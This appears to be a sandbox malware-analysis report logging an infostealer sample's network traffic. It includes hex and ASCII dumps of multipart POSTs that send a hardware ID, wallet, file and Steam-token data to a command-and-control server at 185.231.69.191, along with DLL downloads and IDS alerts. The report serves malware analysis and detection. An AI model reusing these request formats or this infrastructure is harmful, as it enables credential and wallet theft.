72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 2d 2d 0d 0a Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file"------KKECBFCGIEGCBGCAECGC--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHCHost: 185.231.69.191Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file"------GCGHJEBGHJKEBFHIJDHC--
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/freebl3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/mozglue.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/msvcp140.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/nss3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/softokn3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/vcruntime140.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKHost: 185.231.69.191Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKEBGHJKFIDGCAAFCAFHost: 185.231.69.191Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 2d 2d 0d 0a Data Ascii: ------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="message"wallets------JJKEBGHJKFIDGCAAFCAF--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAFHost: 185.231.69.191Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 2d 2d 0d 0a Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="message"files------FHCAEGCBFHJDGCBFHDAF--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHIIHost: 185.231.69.191Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file"------BGIIDAEBGCAAECAKFHII--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAKHost: 185.231.69.191Content-Length: 134243Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEBHost: 185.231.69.191Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="message"ybncbhylepme------GIIJEBAECGCBKECAAAEB--
Source: global traffic	HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECGHost: 185.231.69.191Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IECFIEGDBKJKFIDHIECG--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49709 -> 185.231.69.191:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49787 -> 185.231.69.191:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191
Source: unknown	TCP traffic detected without corresponding DNS query: 185.231.69.191

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.231.69.191Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/sqlite3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/freebl3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/mozglue.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/msvcp140.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/nss3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/softokn3.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ec05bb5a9eb90166/vcruntime140.dll HTTP/1.1Host: 185.231.69.191Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com

Source: unknown

HTTP traffic detected: POST /f190e2808a5419c3.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDAFHDHCBFIDGCFIDGHost: 185.231.69.191Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 38 46 43 31 33 33 35 30 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 2d 2d 0d 0a Data Ascii: ------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="hwid"5A8FC13350E01671227304------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="build"LogsDiller------IEHDAFHDHCBFIDGCFIDG--

Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.231.69.191
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.000000000156E000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.000000000156E000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/_u
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/freebl3.dll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/freebl3.dll3g
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/freebl3.dllCf
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/mozglue.dll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/mozglue.dllGg
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/msvcp140.dll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/msvcp140.dllMf
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/nss3.dll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/nss3.dllk
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/nss3.dllv
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/softokn3.dll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/softokn3.dll/f
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/softokn3.dllkg
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.000000000156E000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/sqlite3.dll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/vcruntime140.dll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/ec05bb5a9eb90166/vcruntime140.dll$a/
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.php
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.php)
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.php-minuser-l1-1-0
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.php2L
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpEcF
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpF
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpJj
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpP
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpata
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpbL
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpcation
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpdll
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phperbird
